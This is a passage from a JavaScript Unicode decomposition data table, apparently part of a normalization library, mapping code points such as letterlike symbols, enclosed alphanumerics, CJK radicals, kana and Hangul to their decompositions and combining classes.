8339: [[120], 256], 8340: [[601], 256], 8341: [[104], 256], 8342: [[107], 256], 8343: [[108], 256], 8344: [[109], 256], 8345: [[110], 256], 8346: [[112], 256], 8347: [[115], 256], 8348: [[116], 256], 8360: [[82, 115], 256], 8400: [, 230], 8401: [, 230], 8402: [, 1], 8403: [, 1], 8404: [, 230], 8405: [, 230], 8406: [, 230], 8407: [, 230], 8408: [, 1], 8409: [, 1], 8410: [, 1], 8411: [, 230], 8412: [, 230], 8417: [, 230], 8421: [, 1], 8422: [, 1], 8423: [, 230], 8424: [, 220], 8425: [, 230], 8426: [, 1], 8427: [, 1], 8428: [, 220], 8429: [, 220], 8430: [, 220], 8431: [, 220], 8432: [, 230] }, + 8448: { 8448: [[97, 47, 99], 256], 8449: [[97, 47, 115], 256], 8450: [[67], 256], 8451: [[176, 67], 256], 8453: [[99, 47, 111], 256], 8454: [[99, 47, 117], 256], 8455: [[400], 256], 8457: [[176, 70], 256], 8458: [[103], 256], 8459: [[72], 256], 8460: [[72], 256], 8461: [[72], 256], 8462: [[104], 256], 8463: [[295], 256], 8464: [[73], 256], 8465: [[73], 256], 8466: [[76], 256], 8467: [[108], 256], 8469: [[78], 256], 8470: [[78, 111], 256], 8473: [[80], 256], 8474: [[81], 256], 8475: [[82], 256], 8476: [[82], 256], 8477: [[82], 256], 8480: [[83, 77], 256], 8481: [[84, 69, 76], 256], 8482: [[84, 77], 256], 8484: [[90], 256], 8486: [[937]], 8488: [[90], 256], 8490: [[75]], 8491: [[197]], 8492: [[66], 256], 8493: [[67], 256], 8495: [[101], 256], 8496: [[69], 256], 8497: [[70], 256], 8499: [[77], 256], 8500: [[111], 256], 8501: [[1488], 256], 8502: [[1489], 256], 8503: [[1490], 256], 8504: [[1491], 256], 8505: [[105], 256], 8507: [[70, 65, 88], 256], 8508: [[960], 256], 8509: [[947], 256], 8510: [[915], 256], 8511: [[928], 256], 8512: [[8721], 256], 8517: [[68], 256], 8518: [[100], 256], 8519: [[101], 256], 8520: [[105], 256], 8521: [[106], 256], 8528: [[49, 8260, 55], 256], 8529: [[49, 8260, 57], 256], 8530: [[49, 8260, 49, 48], 256], 8531: [[49, 8260, 51], 256], 8532: [[50, 8260, 51], 256], 8533: [[49, 8260, 53], 256], 8534: [[50, 8260, 53], 256], 8535: [[51, 8260, 53], 256], 8536: [[52, 8260, 53], 256], 8537: [[49, 8260, 54], 256], 8538: [[53, 8260, 54], 256], 8539: [[49, 8260, 56], 256], 8540: [[51, 8260, 56], 256], 8541: [[53, 8260, 56], 256], 8542: [[55, 8260, 56], 256], 8543: [[49, 8260], 256], 8544: [[73], 256], 8545: [[73, 73], 256], 8546: [[73, 73, 73], 256], 8547: [[73, 86], 256], 8548: [[86], 256], 8549: [[86, 73], 256], 8550: [[86, 73, 73], 256], 8551: [[86, 73, 73, 73], 256], 8552: [[73, 88], 256], 8553: [[88], 256], 8554: [[88, 73], 256], 8555: [[88, 73, 73], 256], 8556: [[76], 256], 8557: [[67], 256], 8558: [[68], 256], 8559: [[77], 256], 8560: [[105], 256], 8561: [[105, 105], 256], 8562: [[105, 105, 105], 256], 8563: [[105, 118], 256], 8564: [[118], 256], 8565: [[118, 105], 256], 8566: [[118, 105, 105], 256], 8567: [[118, 105, 105, 105], 256], 8568: [[105, 120], 256], 8569: [[120], 256], 8570: [[120, 105], 256], 8571: [[120, 105, 105], 256], 8572: [[108], 256], 8573: [[99], 256], 8574: [[100], 256], 8575: [[109], 256], 8585: [[48, 8260, 51], 256], 8592: [, , { 824: 8602 }], 8594: [, , { 824: 8603 }], 8596: [, , { 824: 8622 }], 8602: [[8592, 824]], 8603: [[8594, 824]], 8622: [[8596, 824]], 8653: [[8656, 824]], 8654: [[8660, 824]], 8655: [[8658, 824]], 8656: [, , { 824: 8653 }], 8658: [, , { 824: 8655 }], 8660: [, , { 824: 8654 }] }, + 8704: { 8707: [, , { 824: 8708 }], 8708: [[8707, 824]], 8712: [, , { 824: 8713 }], 8713: [[8712, 824]], 8715: [, , { 824: 8716 }], 8716: [[8715, 824]], 8739: [, , { 824: 8740 }], 8740: [[8739, 824]], 8741: [, , { 824: 8742 }], 8742: [[8741, 824]], 8748: [[8747, 8747], 256], 8749: [[8747, 8747, 8747], 256], 8751: [[8750, 8750], 256], 8752: [[8750, 8750, 8750], 256], 8764: [, , { 824: 8769 }], 8769: [[8764, 824]], 8771: [, , { 824: 8772 }], 8772: [[8771, 824]], 8773: [, , { 824: 8775 }], 8775: [[8773, 824]], 8776: [, , { 824: 8777 }], 8777: [[8776, 824]], 8781: [, , { 824: 8813 }], 8800: [[61, 824]], 8801: [, , { 824: 8802 }], 8802: [[8801, 824]], 8804: [, , { 824: 8816 }], 8805: [, , { 824: 8817 }], 8813: [[8781, 824]], 8814: [[60, 824]], 8815: [[62, 824]], 8816: [[8804, 824]], 8817: [[8805, 824]], 8818: [, , { 824: 8820 }], 8819: [, , { 824: 8821 }], 8820: [[8818, 824]], 8821: [[8819, 824]], 8822: [, , { 824: 8824 }], 8823: [, , { 824: 8825 }], 8824: [[8822, 824]], 8825: [[8823, 824]], 8826: [, , { 824: 8832 }], 8827: [, , { 824: 8833 }], 8828: [, , { 824: 8928 }], 8829: [, , { 824: 8929 }], 8832: [[8826, 824]], 8833: [[8827, 824]], 8834: [, , { 824: 8836 }], 8835: [, , { 824: 8837 }], 8836: [[8834, 824]], 8837: [[8835, 824]], 8838: [, , { 824: 8840 }], 8839: [, , { 824: 8841 }], 8840: [[8838, 824]], 8841: [[8839, 824]], 8849: [, , { 824: 8930 }], 8850: [, , { 824: 8931 }], 8866: [, , { 824: 8876 }], 8872: [, , { 824: 8877 }], 8873: [, , { 824: 8878 }], 8875: [, , { 824: 8879 }], 8876: [[8866, 824]], 8877: [[8872, 824]], 8878: [[8873, 824]], 8879: [[8875, 824]], 8882: [, , { 824: 8938 }], 8883: [, , { 824: 8939 }], 8884: [, , { 824: 8940 }], 8885: [, , { 824: 8941 }], 8928: [[8828, 824]], 8929: [[8829, 824]], 8930: [[8849, 824]], 8931: [[8850, 824]], 8938: [[8882, 824]], 8939: [[8883, 824]], 8940: [[8884, 824]], 8941: [[8885, 824]] }, + 8960: { 9001: [[12296]], 9002: [[12297]] }, + 9216: { 9312: [[49], 256], 9313: [[50], 256], 9314: [[51], 256], 9315: [[52], 256], 9316: [[53], 256], 9317: [[54], 256], 9318: [[55], 256], 9319: [[56], 256], 9320: [[57], 256], 9321: [[49, 48], 256], 9322: [[49, 49], 256], 9323: [[49, 50], 256], 9324: [[49, 51], 256], 9325: [[49, 52], 256], 9326: [[49, 53], 256], 9327: [[49, 54], 256], 9328: [[49, 55], 256], 9329: [[49, 56], 256], 9330: [[49, 57], 256], 9331: [[50, 48], 256], 9332: [[40, 49, 41], 256], 9333: [[40, 50, 41], 256], 9334: [[40, 51, 41], 256], 9335: [[40, 52, 41], 256], 9336: [[40, 53, 41], 256], 9337: [[40, 54, 41], 256], 9338: [[40, 55, 41], 256], 9339: [[40, 56, 41], 256], 9340: [[40, 57, 41], 256], 9341: [[40, 49, 48, 41], 256], 9342: [[40, 49, 49, 41], 256], 9343: [[40, 49, 50, 41], 256], 9344: [[40, 49, 51, 41], 256], 9345: [[40, 49, 52, 41], 256], 9346: [[40, 49, 53, 41], 256], 9347: [[40, 49, 54, 41], 256], 9348: [[40, 49, 55, 41], 256], 9349: [[40, 49, 56, 41], 256], 9350: [[40, 49, 57, 41], 256], 9351: [[40, 50, 48, 41], 256], 9352: [[49, 46], 256], 9353: [[50, 46], 256], 9354: [[51, 46], 256], 9355: [[52, 46], 256], 9356: [[53, 46], 256], 9357: [[54, 46], 256], 9358: [[55, 46], 256], 9359: [[56, 46], 256], 9360: [[57, 46], 256], 9361: [[49, 48, 46], 256], 9362: [[49, 49, 46], 256], 9363: [[49, 50, 46], 256], 9364: [[49, 51, 46], 256], 9365: [[49, 52, 46], 256], 9366: [[49, 53, 46], 256], 9367: [[49, 54, 46], 256], 9368: [[49, 55, 46], 256], 9369: [[49, 56, 46], 256], 9370: [[49, 57, 46], 256], 9371: [[50, 48, 46], 256], 9372: [[40, 97, 41], 256], 9373: [[40, 98, 41], 256], 9374: [[40, 99, 41], 256], 9375: [[40, 100, 41], 256], 9376: [[40, 101, 41], 256], 9377: [[40, 102, 41], 256], 9378: [[40, 103, 41], 256], 9379: [[40, 104, 41], 256], 9380: [[40, 105, 41], 256], 9381: [[40, 106, 41], 256], 9382: [[40, 107, 41], 256], 9383: [[40, 108, 41], 256], 9384: [[40, 109, 41], 256], 9385: [[40, 110, 41], 256], 9386: [[40, 111, 41], 256], 9387: [[40, 112, 41], 256], 9388: [[40, 113, 41], 256], 9389: [[40, 114, 41], 256], 9390: [[40, 115, 41], 256], 9391: [[40, 116, 41], 256], 9392: [[40, 117, 41], 256], 9393: [[40, 118, 41], 256], 9394: [[40, 119, 41], 256], 9395: [[40, 120, 41], 256], 9396: [[40, 121, 41], 256], 9397: [[40, 122, 41], 256], 9398: [[65], 256], 9399: [[66], 256], 9400: [[67], 256], 9401: [[68], 256], 9402: [[69], 256], 9403: [[70], 256], 9404: [[71], 256], 9405: [[72], 256], 9406: [[73], 256], 9407: [[74], 256], 9408: [[75], 256], 9409: [[76], 256], 9410: [[77], 256], 9411: [[78], 256], 9412: [[79], 256], 9413: [[80], 256], 9414: [[81], 256], 9415: [[82], 256], 9416: [[83], 256], 9417: [[84], 256], 9418: [[85], 256], 9419: [[86], 256], 9420: [[87], 256], 9421: [[88], 256], 9422: [[89], 256], 9423: [[90], 256], 9424: [[97], 256], 9425: [[98], 256], 9426: [[99], 256], 9427: [[100], 256], 9428: [[101], 256], 9429: [[102], 256], 9430: [[103], 256], 9431: [[104], 256], 9432: [[105], 256], 9433: [[106], 256], 9434: [[107], 256], 9435: [[108], 256], 9436: [[109], 256], 9437: [[110], 256], 9438: [[111], 256], 9439: [[112], 256], 9440: [[113], 256], 9441: [[114], 256], 9442: [[115], 256], 9443: [[116], 256], 9444: [[117], 256], 9445: [[118], 256], 9446: [[119], 256], 9447: [[120], 256], 9448: [[121], 256], 9449: [[122], 256], 9450: [[48], 256] }, + 10752: { 10764: [[8747, 8747, 8747, 8747], 256], 10868: [[58, 58, 61], 256], 10869: [[61, 61], 256], 10870: [[61, 61, 61], 256], 10972: [[10973, 824], 512] }, + 11264: { 11388: [[106], 256], 11389: [[86], 256], 11503: [, 230], 11504: [, 230], 11505: [, 230] }, + 11520: { 11631: [[11617], 256], 11647: [, 9], 11744: [, 230], 11745: [, 230], 11746: [, 230], 11747: [, 230], 11748: [, 230], 11749: [, 230], 11750: [, 230], 11751: [, 230], 11752: [, 230], 11753: [, 230], 11754: [, 230], 11755: [, 230], 11756: [, 230], 11757: [, 230], 11758: [, 230], 11759: [, 230], 11760: [, 230], 11761: [, 230], 11762: [, 230], 11763: [, 230], 11764: [, 230], 11765: [, 230], 11766: [, 230], 11767: [, 230], 11768: [, 230], 11769: [, 230], 11770: [, 230], 11771: [, 230], 11772: [, 230], 11773: [, 230], 11774: [, 230], 11775: [, 230] }, + 11776: { 11935: [[27597], 256], 12019: [[40863], 256] }, + 12032: { 12032: [[19968], 256], 12033: [[20008], 256], 12034: [[20022], 256], 12035: [[20031], 256], 12036: [[20057], 256], 12037: [[20101], 256], 12038: [[20108], 256], 12039: [[20128], 256], 12040: [[20154], 256], 12041: [[20799], 256], 12042: [[20837], 256], 12043: [[20843], 256], 12044: [[20866], 256], 12045: [[20886], 256], 12046: [[20907], 256], 12047: [[20960], 256], 12048: [[20981], 256], 12049: [[20992], 256], 12050: [[21147], 256], 12051: [[21241], 256], 12052: [[21269], 256], 12053: [[21274], 256], 12054: [[21304], 256], 12055: [[21313], 256], 12056: [[21340], 256], 12057: [[21353], 256], 12058: [[21378], 256], 12059: [[21430], 256], 12060: [[21448], 256], 12061: [[21475], 256], 12062: [[22231], 256], 12063: [[22303], 256], 12064: [[22763], 256], 12065: [[22786], 256], 12066: [[22794], 256], 12067: [[22805], 256], 12068: [[22823], 256], 12069: [[22899], 256], 12070: [[23376], 256], 12071: [[23424], 256], 12072: [[23544], 256], 12073: [[23567], 256], 12074: [[23586], 256], 12075: [[23608], 256], 12076: [[23662], 256], 12077: [[23665], 256], 12078: [[24027], 256], 12079: [[24037], 256], 12080: [[24049], 256], 12081: [[24062], 256], 12082: [[24178], 256], 12083: [[24186], 256], 12084: [[24191], 256], 12085: [[24308], 256], 12086: [[24318], 256], 12087: [[24331], 256], 12088: [[24339], 256], 12089: [[24400], 256], 12090: [[24417], 256], 12091: [[24435], 256], 12092: [[24515], 256], 12093: [[25096], 256], 12094: [[25142], 256], 12095: [[25163], 256], 12096: [[25903], 256], 12097: [[25908], 256], 12098: [[25991], 256], 12099: [[26007], 256], 12100: [[26020], 256], 12101: [[26041], 256], 12102: [[26080], 256], 12103: [[26085], 256], 12104: [[26352], 256], 12105: [[26376], 256], 12106: [[26408], 256], 12107: [[27424], 256], 12108: [[27490], 256], 12109: [[27513], 256], 12110: [[27571], 256], 12111: [[27595], 256], 12112: [[27604], 256], 12113: [[27611], 256], 12114: [[27663], 256], 12115: [[27668], 256], 12116: [[27700], 256], 12117: [[28779], 256], 12118: [[29226], 256], 12119: [[29238], 256], 12120: [[29243], 256], 12121: [[29247], 256], 12122: [[29255], 256], 12123: [[29273], 256], 12124: [[29275], 256], 12125: [[29356], 256], 12126: [[29572], 256], 12127: [[29577], 256], 12128: [[29916], 256], 12129: [[29926], 256], 12130: [[29976], 256], 12131: [[29983], 256], 12132: [[29992], 256], 12133: [[30000], 256], 12134: [[30091], 256], 12135: [[30098], 256], 12136: [[30326], 256], 12137: [[30333], 256], 12138: [[30382], 256], 12139: [[30399], 256], 12140: [[30446], 256], 12141: [[30683], 256], 12142: [[30690], 256], 12143: [[30707], 256], 12144: [[31034], 256], 12145: [[31160], 256], 12146: [[31166], 256], 12147: [[31348], 256], 12148: [[31435], 256], 12149: [[31481], 256], 12150: [[31859], 256], 12151: [[31992], 256], 12152: [[32566], 256], 12153: [[32593], 256], 12154: [[32650], 256], 12155: [[32701], 256], 12156: [[32769], 256], 12157: [[32780], 256], 12158: [[32786], 256], 12159: [[32819], 256], 12160: [[32895], 256], 12161: [[32905], 256], 12162: [[33251], 256], 12163: [[33258], 256], 12164: [[33267], 256], 12165: [[33276], 256], 12166: [[33292], 256], 12167: [[33307], 256], 12168: [[33311], 256], 12169: [[33390], 256], 12170: [[33394], 256], 12171: [[33400], 256], 12172: [[34381], 256], 12173: [[34411], 256], 12174: [[34880], 256], 12175: [[34892], 256], 12176: [[34915], 256], 12177: [[35198], 256], 12178: [[35211], 256], 12179: [[35282], 256], 12180: [[35328], 256], 12181: [[35895], 256], 12182: [[35910], 256], 12183: [[35925], 256], 12184: [[35960], 256], 12185: [[35997], 256], 12186: [[36196], 256], 12187: [[36208], 256], 12188: [[36275], 256], 12189: [[36523], 256], 12190: [[36554], 256], 12191: [[36763], 256], 12192: [[36784], 256], 12193: [[36789], 256], 12194: [[37009], 256], 12195: [[37193], 256], 12196: [[37318], 256], 12197: [[37324], 256], 12198: [[37329], 256], 12199: [[38263], 256], 12200: [[38272], 256], 12201: [[38428], 256], 12202: [[38582], 256], 12203: [[38585], 256], 12204: [[38632], 256], 12205: [[38737], 256], 12206: [[38750], 256], 12207: [[38754], 256], 12208: [[38761], 256], 12209: [[38859], 256], 12210: [[38893], 256], 12211: [[38899], 256], 12212: [[38913], 256], 12213: [[39080], 256], 12214: [[39131], 256], 12215: [[39135], 256], 12216: [[39318], 256], 12217: [[39321], 256], 12218: [[39340], 256], 12219: [[39592], 256], 12220: [[39640], 256], 12221: [[39647], 256], 12222: [[39717], 256], 12223: [[39727], 256], 12224: [[39730], 256], 12225: [[39740], 256], 12226: [[39770], 256], 12227: [[40165], 256], 12228: [[40565], 256], 12229: [[40575], 256], 12230: [[40613], 256], 12231: [[40635], 256], 12232: [[40643], 256], 12233: [[40653], 256], 12234: [[40657], 256], 12235: [[40697], 256], 12236: [[40701], 256], 12237: [[40718], 256], 12238: [[40723], 256], 12239: [[40736], 256], 12240: [[40763], 256], 12241: [[40778], 256], 12242: [[40786], 256], 12243: [[40845], 256], 12244: [[40860], 256], 12245: [[40864], 256] }, + 12288: { 12288: [[32], 256], 12330: [, 218], 12331: [, 228], 12332: [, 232], 12333: [, 222], 12334: [, 224], 12335: [, 224], 12342: [[12306], 256], 12344: [[21313], 256], 12345: [[21316], 256], 12346: [[21317], 256], 12358: [, , { 12441: 12436 }], 12363: [, , { 12441: 12364 }], 12364: [[12363, 12441]], 12365: [, , { 12441: 12366 }], 12366: [[12365, 12441]], 12367: [, , { 12441: 12368 }], 12368: [[12367, 12441]], 12369: [, , { 12441: 12370 }], 12370: [[12369, 12441]], 12371: [, , { 12441: 12372 }], 12372: [[12371, 12441]], 12373: [, , { 12441: 12374 }], 12374: [[12373, 12441]], 12375: [, , { 12441: 12376 }], 12376: [[12375, 12441]], 12377: [, , { 12441: 12378 }], 12378: [[12377, 12441]], 12379: [, , { 12441: 12380 }], 12380: [[12379, 12441]], 12381: [, , { 12441: 12382 }], 12382: [[12381, 12441]], 12383: [, , { 12441: 12384 }], 12384: [[12383, 12441]], 12385: [, , { 12441: 12386 }], 12386: [[12385, 12441]], 12388: [, , { 12441: 12389 }], 12389: [[12388, 12441]], 12390: [, , { 12441: 12391 }], 12391: [[12390, 12441]], 12392: [, , { 12441: 12393 }], 12393: [[12392, 12441]], 12399: [, , { 12441: 12400, 12442: 12401 }], 12400: [[12399, 12441]], 12401: [[12399, 12442]], 12402: [, , { 12441: 12403, 12442: 12404 }], 12403: [[12402, 12441]], 12404: [[12402, 12442]], 12405: [, , { 12441: 12406, 12442: 12407 }], 12406: [[12405, 12441]], 12407: [[12405, 12442]], 12408: [, , { 12441: 12409, 12442: 12410 }], 12409: [[12408, 12441]], 12410: [[12408, 12442]], 12411: [, , { 12441: 12412, 12442: 12413 }], 12412: [[12411, 12441]], 12413: [[12411, 12442]], 12436: [[12358, 12441]], 12441: [, 8], 12442: [, 8], 12443: [[32, 12441], 256], 12444: [[32, 12442], 256], 12445: [, , { 12441: 12446 }], 12446: [[12445, 12441]], 12447: [[12424, 12426], 256], 12454: [, , { 12441: 12532 }], 12459: [, , { 12441: 12460 }], 12460: [[12459, 12441]], 12461: [, , { 12441: 12462 }], 12462: [[12461, 12441]], 12463: [, , { 12441: 12464 }], 12464: [[12463, 12441]], 12465: [, , { 12441: 12466 }], 12466: [[12465, 12441]], 12467: [, , { 12441: 12468 }], 12468: [[12467, 12441]], 12469: [, , { 12441: 12470 }], 12470: [[12469, 12441]], 12471: [, , { 12441: 12472 }], 12472: [[12471, 12441]], 12473: [, , { 12441: 12474 }], 12474: [[12473, 12441]], 12475: [, , { 12441: 12476 }], 12476: [[12475, 12441]], 12477: [, , { 12441: 12478 }], 12478: [[12477, 12441]], 12479: [, , { 12441: 12480 }], 12480: [[12479, 12441]], 12481: [, , { 12441: 12482 }], 12482: [[12481, 12441]], 12484: [, , { 12441: 12485 }], 12485: [[12484, 12441]], 12486: [, , { 12441: 12487 }], 12487: [[12486, 12441]], 12488: [, , { 12441: 12489 }], 12489: [[12488, 12441]], 12495: [, , { 12441: 12496, 12442: 12497 }], 12496: [[12495, 12441]], 12497: [[12495, 12442]], 12498: [, , { 12441: 12499, 12442: 12500 }], 12499: [[12498, 12441]], 12500: [[12498, 12442]], 12501: [, , { 12441: 12502, 12442: 12503 }], 12502: [[12501, 12441]], 12503: [[12501, 12442]], 12504: [, , { 12441: 12505, 12442: 12506 }], 12505: [[12504, 12441]], 12506: [[12504, 12442]], 12507: [, , { 12441: 12508, 12442: 12509 }], 12508: [[12507, 12441]], 12509: [[12507, 12442]], 12527: [, , { 12441: 12535 }], 12528: [, , { 12441: 12536 }], 12529: [, , { 12441: 12537 }], 12530: [, , { 12441: 12538 }], 12532: [[12454, 12441]], 12535: [[12527, 12441]], 12536: [[12528, 12441]], 12537: [[12529, 12441]], 12538: [[12530, 12441]], 12541: [, , { 12441: 12542 }], 12542: [[12541, 12441]], 12543: [[12467, 12488], 256] }, + 12544: { 12593: [[4352], 256], 12594: [[4353], 256], 12595: [[4522], 256], 12596: [[4354], 256], 12597: [[4524], 256], 12598: [[4525], 256], 12599: [[4355], 256], 12600: [[4356], 256], 12601: [[4357], 256], 12602: [[4528], 256], 12603: [[4529], 256], 12604: [[4530], 256], 12605: [[4531], 256], 12606: [[4532], 256], 12607: [[4533], 256], 12608: [[4378], 256], 12609: [[4358], 256], 12610: [[4359], 256], 12611: [[4360], 256], 12612: [[4385], 256], 12613: [[4361], 256], 12614: [[4362], 256], 12615: [[4363], 256], 12616: [[4364], 256], 12617: [[4365], 256], 12618: [[4366], 256], 12619: [[4367], 256], 12620: [[4368], 256], 12621: [[4369], 256], 12622: [[4370], 256], 12623: [[4449], 256], 12624: [[4450], 256], 12625: [[4451], 256], 12626: [[4452], 256], 12627: [[4453], 256], 12628: [[4454], 256], 12629: [[4455], 256], 12630: [[4456], 256], 12631: [[4457], 256], 12632: [[4458], 256], 12633: [[4459], 256], 12634: [[4460], 256], 12635: [[4461], 256], 12636: [[4462], 256], 12637: [[4463], 256], 12638: [[4464], 256], 12639: [[4465], 256], 12640: [[4466], 256], 12641: [[4467], 256], 12642: [[4468], 256], 12643: [[4469], 256], 12644: [[4448], 256], 12645: [[4372], 256], 12646: [[4373], 256], 12647: [[4551], 256], 12648: [[4552], 256], 12649: [[4556], 256], 12650: [[4558], 256], 12651: [[4563], 256], 12652: [[4567], 256], 12653: [[4569], 256], 12654: [[4380], 256], 12655: [[4573], 256], 12656: [[4575], 256], 12657: [[4381], 256], 12658: [[4382], 256], 12659: [[4384], 256], 12660: [[4386], 256], 12661: [[4387], 256], 12662: [[4391], 256], 12663: [[4393], 256], 12664: [[4395], 256], 12665: [[4396], 256], 12666: [[4397], 256], 12667: [[4398], 256], 12668: [[4399], 256], 12669: [[4402], 256], 12670: [[4406], 256], 12671: [[4416], 256], 12672: [[4423], 256], 12673: [[4428], 256], 12674: [[4593], 256], 12675: [[4594], 256], 12676: [[4439], 256], 12677: [[4440], 256], 12678: [[4441], 256], 12679: [[4484], 256], 12680: [[4485], 256], 12681: [[4488], 256], 12682: [[4497], 256], 12683: [[4498], 256], 12684: [[4500], 256], 12685: [[4510], 256], 12686: [[4513], 256], 12690: [[19968], 256], 12691: [[20108], 256], 12692: [[19977], 256], 12693: [[22235], 256], 12694: [[19978], 256], 12695: [[20013], 256], 12696: [[19979], 256], 12697: [[30002], 256], 12698: [[20057], 256], 12699: [[19993], 256], 12700: [[19969], 256], 12701: [[22825], 256], 12702: [[22320], 256], 12703: [[20154], 256] }, + 12800: { 12800: [[40, 4352, 41], 256], 12801: [[40, 4354, 41], 256], 12802: [[40, 4355, 41], 256], 12803: [[40, 4357, 41], 256], 12804: [[40, 4358, 41], 256], 12805: [[40, 4359, 41], 256], 12806: [[40, 4361, 41], 256], 12807: [[40, 4363, 41], 256], 12808: [[40, 4364, 41], 256], 12809: [[40, 4366, 41], 256], 12810: [[40, 4367, 41], 256], 12811: [[40, 4368, 41], 256], 12812: [[40, 4369, 41], 256], 12813: [[40, 4370, 41], 256], 12814: [[40, 4352, 4449, 41], 256], 12815: [[40, 4354, 4449, 41], 256], 12816: [[40, 4355, 4449, 41], 256], 12817: [[40, 4357, 4449, 41], 256], 12818: [[40, 4358, 4449, 41], 256], 12819: [[40, 4359, 4449, 41], 256], 12820: [[40, 4361, 4449, 41], 256], 12821: [[40, 4363, 4449, 41], 256], 12822: [[40, 4364, 4449, 41], 256], 12823: [[40, 4366, 4449, 41], 256], 12824: [[40, 4367, 4449, 41], 256], 12825: [[40, 4368, 4449, 41], 256], 12826: [[40, 4369, 4449, 41], 256], 12827: [[40, 4370, 4449, 41], 256], 12828: [[40, 4364, 4462, 41], 256], 12829: [[40, 4363, 4457, 4364, 4453, 4523, 41], 256], 12830: [[40, 4363, 4457, 4370, 4462, 41], 256], 12832: [[40, 19968, 41], 256], 12833: [[40, 20108, 41], 256], 12834: [[40, 19977, 41], 256], 12835: [[40, 22235, 41], 256], 12836: [[40, 20116, 41], 256], 12837: [[40, 20845, 41], 256], 12838: [[40, 19971, 41], 256], 12839: [[40, 20843, 41], 256], 12840: [[40, 20061, 41], 256], 12841: [[40, 21313, 41], 256], 12842: [[40, 26376, 41], 256], 12843: [[40, 28779, 41], 256], 12844: [[40, 27700, 41], 256], 12845: [[40, 26408, 41], 256], 12846: [[40, 37329, 41], 256], 12847: [[40, 22303, 41], 256], 12848: [[40, 26085, 41], 256], 12849: [[40, 26666, 41], 256], 12850: [[40, 26377, 41], 256], 12851: [[40, 31038, 41], 256], 12852: [[40, 21517, 41], 256], 12853: [[40, 29305, 41], 256], 12854: [[40, 36001, 41], 256], 12855: [[40, 31069, 41], 256], 12856: [[40, 21172, 41], 256], 12857: [[40, 20195, 41], 256], 12858: [[40, 21628, 41], 256], 12859: [[40, 23398, 41], 256], 12860: [[40, 30435, 41], 256], 12861: [[40, 20225, 41], 256], 12862: [[40, 36039, 41], 256], 12863: [[40, 21332, 41], 256], 12864: [[40, 31085, 41], 256], 12865: [[40, 20241, 41], 256], 12866: [[40, 33258, 41], 256], 12867: [[40, 33267, 41], 256], 12868: [[21839], 256], 12869: [[24188], 256], 12870: [[25991], 256], 12871: [[31631], 256], 12880: [[80, 84, 69], 256], 12881: [[50, 49], 256], 12882: [[50, 50], 256], 12883: [[50, 51], 256], 12884: [[50, 52], 256], 12885: [[50, 53], 256], 12886: [[50, 54], 256], 12887: [[50, 55], 256], 12888: [[50, 56], 256], 12889: [[50, 57], 256], 12890: [[51, 48], 256], 12891: [[51, 49], 256], 12892: [[51, 50], 256], 12893: [[51, 51], 256], 12894: [[51, 52], 256], 12895: [[51, 53], 256], 12896: [[4352], 256], 12897: [[4354], 256], 12898: [[4355], 256], 12899: [[4357], 256], 12900: [[4358], 256], 12901: [[4359], 256], 12902: [[4361], 256], 12903: [[4363], 256], 12904: [[4364], 256], 12905: [[4366], 256], 12906: [[4367], 256], 12907: [[4368], 256], 12908: [[4369], 256], 12909: [[4370], 256], 12910: [[4352, 4449], 256], 12911: [[4354, 4449], 256], 12912: [[4355, 4449], 256], 12913: [[4357, 4449], 256], 12914: [[4358, 4449], 256], 12915: [[4359, 4449], 256], 12916: [[4361, 4449], 256], 12917: [[4363, 4449], 256], 12918: [[4364, 4449], 256], 12919: [[4366, 4449], 256], 12920: [[4367, 4449], 256], 12921: [[4368, 4449], 256], 12922: [[4369, 4449], 256], 12923: [[4370, 4449], 256], 12924: [[4366, 4449, 4535, 4352, 4457], 256], 12925: [[4364, 4462, 4363, 4468], 256], 12926: [[4363, 4462], 256], 12928: [[19968], 256], 12929: [[20108], 256], 12930: [[19977], 256], 12931: [[22235], 256], 12932: [[20116], 256], 12933: [[20845], 256], 12934: [[19971], 256], 12935: [[20843], 256], 12936: [[20061], 256], 12937: [[21313], 256], 12938: [[26376], 256], 12939: [[28779], 256], 12940: [[27700], 256], 12941: [[26408], 256], 12942: [[37329], 256], 12943: [[22303], 256], 12944: [[26085], 256], 12945: [[26666], 256], 12946: [[26377], 256], 12947: [[31038], 256], 12948: [[21517], 256], 12949: [[29305], 256], 12950: [[36001], 256], 12951: [[31069], 256], 12952: [[21172], 256], 12953: [[31192], 256], 12954: [[30007], 256], 12955: [[22899], 256], 12956: [[36969], 256], 12957: [[20778], 256], 12958: [[21360], 256], 12959: [[27880], 256], 12960: [[38917], 256], 12961: [[20241], 256], 12962: [[20889], 256], 12963: [[27491], 256], 12964: [[19978], 256], 12965: [[20013], 256], 12966: [[19979], 256], 12967: [[24038], 256], 12968: [[21491], 256], 12969: [[21307], 256], 12970: [[23447], 256], 12971: [[23398], 256], 12972: [[30435], 256], 12973: [[20225], 256], 12974: [[36039], 256], 12975: [[21332], 256], 12976: [[22812], 256], 12977: [[51, 54], 256], 12978: [[51, 55], 256], 12979: [[51, 56], 256], 12980: [[51, 57], 256], 12981: [[52, 48], 256], 12982: [[52, 49], 256], 12983: [[52, 50], 256], 12984: [[52, 51], 256], 12985: [[52, 52], 256], 12986: [[52, 53], 256], 12987: [[52, 54], 256], 12988: [[52, 55], 256], 12989: [[52, 56], 256], 12990: [[52, 57], 256], 12991: [[53, 48], 256], 12992: [[49, 26376], 256], 12993: [[50, 26376], 256], 12994: [[51, 26376], 256], 12995: [[52, 26376], 256], 12996: [[53, 26376], 256], 12997: [[54, 26376], 256], 12998: [[55, 26376], 256], 12999: [[56, 26376], 256], 13000: [[57, 26376], 256], 13001: [[49, 48, 26376], 256], 13002: [[49, 49, 26376], 256], 13003: [[49, 50, 26376], 256], 13004: [[72, 103], 256], 13005: [[101, 114, 103], 256], 13006: [[101, 86], 256], 13007: [[76, 84, 68], 256], 13008: [[12450], 256], 13009: [[12452], 256], 13010: [[12454], 256], 13011: [[12456], 256], 13012: [[12458], 256], 13013: [[12459], 256], 13014: [[12461], 256], 13015: [[12463], 256], 13016: [[12465], 256], 13017: [[12467], 256], 13018: [[12469], 256], 13019: [[12471], 256], 13020: [[12473], 256], 13021: [[12475], 256], 13022: [[12477], 256], 13023: [[12479], 256], 13024: [[12481], 256], 13025: [[12484], 256], 13026: [[12486], 256], 13027: [[12488], 256], 13028: [[12490], 256], 13029: [[12491], 256], 13030: [[12492], 256], 13031: [[12493], 256], 13032: [[12494], 256], 13033: [[12495], 256], 13034: [[12498], 256], 13035: [[12501], 256], 13036: [[12504], 256], 13037: [[12507], 256], 13038: [[12510], 256], 13039: [[12511], 256], 13040: [[12512], 256], 13041: [[12513], 256], 13042: [[12514], 256], 13043: [[12516], 256], 13044: [[12518], 256], 13045: [[12520], 256], 